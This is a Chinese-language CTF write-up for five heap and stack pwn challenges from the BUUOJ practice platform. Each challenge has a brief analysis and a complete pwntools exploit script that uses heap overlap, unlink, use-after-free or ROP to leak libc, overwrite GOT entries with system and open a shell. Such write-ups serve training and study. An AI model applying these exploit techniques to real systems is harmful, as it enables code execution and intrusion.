目录
hitcontraining_heapcreator
考虑修改GOT表
在edit函数中可以溢出一个byte
这题需要利用堆重叠的方法,因为free之后会置空,只能利用堆重叠进行重复分配
利用思路如下:
- 先申请三个heap,其中heap[0]的内容大小为8的奇数倍
- 使用edit溢出修改heap[1]的chunk的size,把heap[2]的内容部分包括进去
- delete heap[1],然后申请同样大小的一个块
- 此时使用edit把heap[2]的content指针改为free的got表
- show heap[2],得到Libc基地址,计算system地址
- 把free GOT改为system的地址
Exp:
from pwn import *
from LibcSearcher import *
def add(size, content):
print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size of Heap : ")
r.sendline(str(size))
print r.recvuntil("Content of heap:")
r.send(content)
def delete(index):
print r.recvuntil("Your choice :")
r.sendline('4')
print r.recvuntil("Index :")
r.sendline(str(index))
def edit(index, content):
print r.recvuntil("Your choice :")
r.sendline('2')
print r.recvuntil("Index :")
r.sendline(str(index))
print r.recvuntil("Content of heap : ")
r.send(content)
def show(index):
print r.recvuntil("Your choice :")
r.sendline('3')
print r.recvuntil("Index :")
r.sendline(str(index))
r = remote("node3.buuoj.cn", 26329)
#r = process("./hitcontraining_heapcreator")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400D60
c
''')
context(arch = "amd64", os = 'linux')
elf = ELF("./hitcontraining_heapcreator")
free_got = elf.got['free']
add(0x18, 'a\n')
add(0x10, 'a\n')
add(0x10, 'a\n')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x81'
edit(0, payload)
delete(1)
payload = p64(0) * 8 + p64(8) + p64(free_got)
add(0x70, payload)
show(2)
print r.recvuntil("Content : ")
free_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system = libc_base + libc.dump("system")
success("free:" + hex(free_addr))
success("system:" + hex(system))
edit(2, p64(system))
delete(0)
r.interactive()
hitcontraining_bamboobox
依然考虑修改GOT表
这题的漏洞在edit函数中,可以进行堆溢出,本题考虑使用unlink攻击
利用思路如下
- 申请四个item,其中item[3]的内容为/bin/sh
- 编辑item[1],溢出修改item[2]把item[1]的chunk状态变为空闲,并在item[1]中伪造chunk,大小为0x30,把fd变为itemlist-0x18,bk变为itemlist-0x10
- 释放item[2],此时item[1]就指向itemlist
- 把tem[0]改为free的got表,泄露,修改
Exp:
from pwn import *
def add(size, content):
print r.recvuntil("Your choice:")
r.sendline('2')
print r.recvuntil("Please enter the length of item name:")
r.sendline(str(size))
print r.recvuntil("Please enter the name of item:")
r.send(content)
def edit(index, size, content):
print r.recvuntil("Your choice:")
r.sendline('3')
print r.recvuntil("Please enter the index of item:")
r.sendline(str(index))
print r.recvuntil("Please enter the length of item name:")
r.sendline(str(size))
print r.recvuntil("Please enter the new name of the item:")
r.send(content)
def free(index):
print r.recvuntil("Your choice:")
r.sendline('4')
print r.recvuntil("Please enter the index of item:")
r.sendline(str(index))
def show():
print r.recvuntil("Your choice:")
r.sendline('1')
r = remote("node3.buuoj.cn", 26406)
#r = process("./hitcontraining_bamboobox")
libc = ELF('./libc/libc-2.23.so')
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400E47
c
''')
elf = ELF("./hitcontraining_bamboobox")
free_got = elf.got['free']
puts_got = elf.got['puts']
ptr = 0x6020d8
add(0x30,'a')#0
add(0x30,'a')#1
add(0x80,'b')#2
add(0x80,'/bin/sh')#3
#r.interactive()
edit(1,0x100,p64(0)+p64(0x31)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*0x10+p64(0x30)+p64(0x90))
free(2)
edit(1,0x100,p64(0x30)+p64(puts_got))#1
show()
r.recvuntil('0 : ')
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
sys = libc_base + libc.sym['system']
#sys=puts_addr - 0x2a300
edit(1,0x100,p64(0x30)+p64(free_got))
edit(0,0x100,p64(sys))
free(3)
r.interactive()
jarvisoj_level6_x64 (jarvisoj_guestbook2)
level6的64位版本和guestbook2漏洞是一模一样的,就是菜单有点不同
仍然考虑修改GOT表
漏洞在删除函数中,一是可以多次删除,二是free之后没有置空
此外读content的函数也有漏洞,就是没有在末尾加\x00
对比一下安全的read
漏洞利用过程如下
- 添加四个Note
- 释放note[0]和note[2],此时note[0]的bk指向note[2]的chunk,note[2]的bk指向main_arena+0x58(两个chunk都进入unsorted bin)
- 再次添加2个note,payload长度为8,注意结尾不要是\x00
- 利用show泄露NOTE管理块的地址和libc基地址
- 将四个note全部删除
- 添加一个note,长度要能包含进最开始的3个note的chunk
- 伪造一个chunk,大小为0x80,fd为note[0]-0x18, bk为note[0]-0x10,利用unlink把NOTE管理块中note[0]的地址改为note[0]-0x18(对unlink利用有疑问可以参考这篇文章 攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018))
- 把note]0]改为atoi的got,然后编辑note[0],改为system地址
- 输入/bin/sh,获取shell
Exp:
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 29332)
#r = process("./jarvisoj_level6_x64")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x4010A8
c
x/gx 0x6020a8
''')
elf = ELF("./jarvisoj_level6_x64")
libc = ELF('./libc/libc-2.23.so')
atoi_got = elf.got['atoi']
def add(size, content):
print r.recvuntil("Your choice: ")
r.sendline('2')
print r.recvuntil("Length of new note: ")
r.sendline(str(size))
print r.recvuntil("Enter your note: ")
r.send(content)
def delete(index):
print r.recvuntil("Your choice: ")
r.sendline('4')
print r.recvuntil("Note number: ")
r.sendline(str(index))
def show():
print r.recvuntil("Your choice: ")
r.sendline('1')
def edit(index, size, content):
print r.recvuntil("Your choice: ")
r.sendline('3')
print r.recvuntil("Note number: ")
r.sendline(str(index))
print r.recvuntil("Length of note: ")
r.sendline(str(size))
print r.recvuntil("Enter your note: ")
r.send(content)
add(0x80, 'a' * 0x80)#0
add(0x80, 'a' * 0x80)#1
add(0x80, 'a' * 0x80)#2
add(0x80, 'a' * 0x80)#3
delete(0)
delete(2)
add(8, '12345678')
add(8, '12345678')
show()
r.recvuntil("12345678")
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x1940
success("heap:"+hex(heap))
r.recvuntil("12345678")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
success("libc_base:"+hex(libc_base))
success("system:" + hex(system))
delete(3)
delete(2)
delete(1)
delete(0)
payload = p64(0) + p64(0x81) + p64(heap+0x30-0x18) + p64(heap+0x30-0x10) + 'a' * 0x60
payload += p64(0x80) + p64(0x90) + 'a' * 0x80 + p64(0) + p64(0x91) + 'a' * 0x80
add(len(payload), payload)
delete(1)
payload2 = p64(8) + p64(1) + p64(8) + p64(atoi_got)
payload2 = payload2.ljust(len(payload), 'a')
edit(0, len(payload2), payload2)
payload = p64(system)
edit(0, len(payload), payload)
r.recvuntil('Your choice: ')
r.sendline('/bin/sh\x00')
r.interactive()
jarvisoj_level6
本题漏洞利用思路同上一题,不过有几个需要注意的地方
- 在x86下,unsorted bin 指向地址为main_arena + 0x30,而main_arena与__malloc_hook之间距离为0x18
- 本题malloc时仍然有128的对其,但32位下chunk的Head部分大小为8bytes,因此chunk之间的距离为0x88
- 修改note[0]为strtol的got时,注意大小设为4
Exp:
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 26853)
#r = process("./jarvisoj_level6")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x080487C4
c
x/wx 0x0804A2EC
''')
elf = ELF("./jarvisoj_level6")
libc = ELF('./libc/libc-2.23_32.so')
atoi_got = elf.got['strtol']
def add(size, content):
print r.recvuntil("Your choice: ")
r.sendline('2')
print r.recvuntil("Length of new note: ")
r.sendline(str(size))
print r.recvuntil("Enter your note: ")
r.send(content)
def delete(index):
print r.recvuntil("Your choice: ")
r.sendline('4')
print r.recvuntil("Note number: ")
r.sendline(str(index))
def show():
print r.recvuntil("Your choice: ")
r.sendline('1')
def edit(index, size, content):
print r.recvuntil("Your choice: ")
r.sendline('3')
print r.recvuntil("Note number: ")
r.sendline(str(index))
print r.recvuntil("Length of note: ")
r.sendline(str(size))
print r.recvuntil("Enter your note: ")
r.send(content)
add(0x80, 'a' * 0x80)#0
add(0x80, 'a' * 0x80)#1
add(0x80, 'a' * 0x80)#2
add(0x80, 'a' * 0x80)#3
delete(0)
delete(2)
add(4, '1234')
add(4, '1234')
show()
r.recvuntil("1234")
heap = u32(r.recv(4)) - 0xD28
success("heap:"+hex(heap))
r.recvuntil("1234")
malloc_hook = u32(r.recv(4)) - 0x30 - 0x18
libc_base = malloc_hook - libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))
success("libc_base:"+hex(libc_base))
success("system:" + hex(system))
delete(3)
delete(2)
delete(1)
delete(0)
payload = p32(0) + p32(0x81) + p32(heap+0x18-0xc) + p32(heap+0x18-0x8) + 'a' * 0x70
payload += p32(0x80) + p32(0x88) + 'a' * 0x80 + p32(0) + p32(0x89) #+ 'a' * 0x80
add(len(payload), payload)
delete(1)
payload2 = p32(8) + p32(1) + p32(4) + p32(atoi_got)
payload2 = payload2.ljust(len(payload), 'a')
edit(0, len(payload2), payload2)
payload = p32(system)
edit(0, len(payload), payload)
r.recvuntil('Your choice: ')
r.sendline('/bin/sh\x00')
r.interactive()
jarvisoj_itemboard
这是一道UAF和栈溢出结合使用的题目
free之后指针没有置空
在添加函数中存在一个栈溢出漏洞
利用过程如下
- 添加三个item
- 释放item[0],item[1],通过show(0)泄露出main_arena+0x58的地址,show(1)泄露堆上的一个地址,经调试发现该地址+0x18处指向堆上另一个chunk
- 添加新的item,在添加函数中覆盖其返回地址获得shell,注意payload构造为:‘a’ * 0x408 + p64(heap+0x10) + ‘a’ * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system)
其中rbp-8处为栈上item的地址,如果构造不当在strcpy中会报错,而strcpy中传参过程如下
所以最后strcpy的rdi传入的值为栈上item地址+8,上文以及提到经调试发现该地址+0x18处指向堆上另一个chunk,所以可以使strcpy成功执行
Exp:
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 27653)
#r = process("./jarvisoj_itemboard")
context.log_level = 'debug'
elf = ELF("./jarvisoj_itemboard")
libc = ELF('./libc/libc-2.23.so')
free_got = elf.got['free']
def add(name, size, content):
print r.recvuntil("choose:\n")
r.sendline('1')
print r.recvuntil("Item name?\n")
r.send(name)
print r.recvuntil("Description's len?\n")
r.sendline(str(size))
print r.recvuntil("Description?\n")
r.send(content)
def delete(index):
print r.recvuntil("choose:\n")
r.sendline('4')
print r.recvuntil("Which item?\n")
r.sendline(str(index))
def show(index):
print r.recvuntil("choose:\n")
r.sendline('3')
print r.recvuntil("Which item?\n")
r.sendline(str(index))
def list():
print r.recvuntil("choose:\n")
r.sendline('2')
add('a\n', 0x80, 'a\n')#0
add('b\n', 0x80, 'a\n')#1
add('/bin/sh\x00\n', 0x80, '/bin/sh\x00\n')#2
delete(0)
delete(1)
show(0)
r.recvuntil("Description:")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x58 - 0x10
success("malloc_hook:"+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
pop_rdi = 0x021102 + libc_base
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))
show(1)
r.recvuntil("Description:")
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
payload = 'a' * 0x408 + p64(heap+0x10) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system)
add('c\n', len(payload), payload)
r.interactive()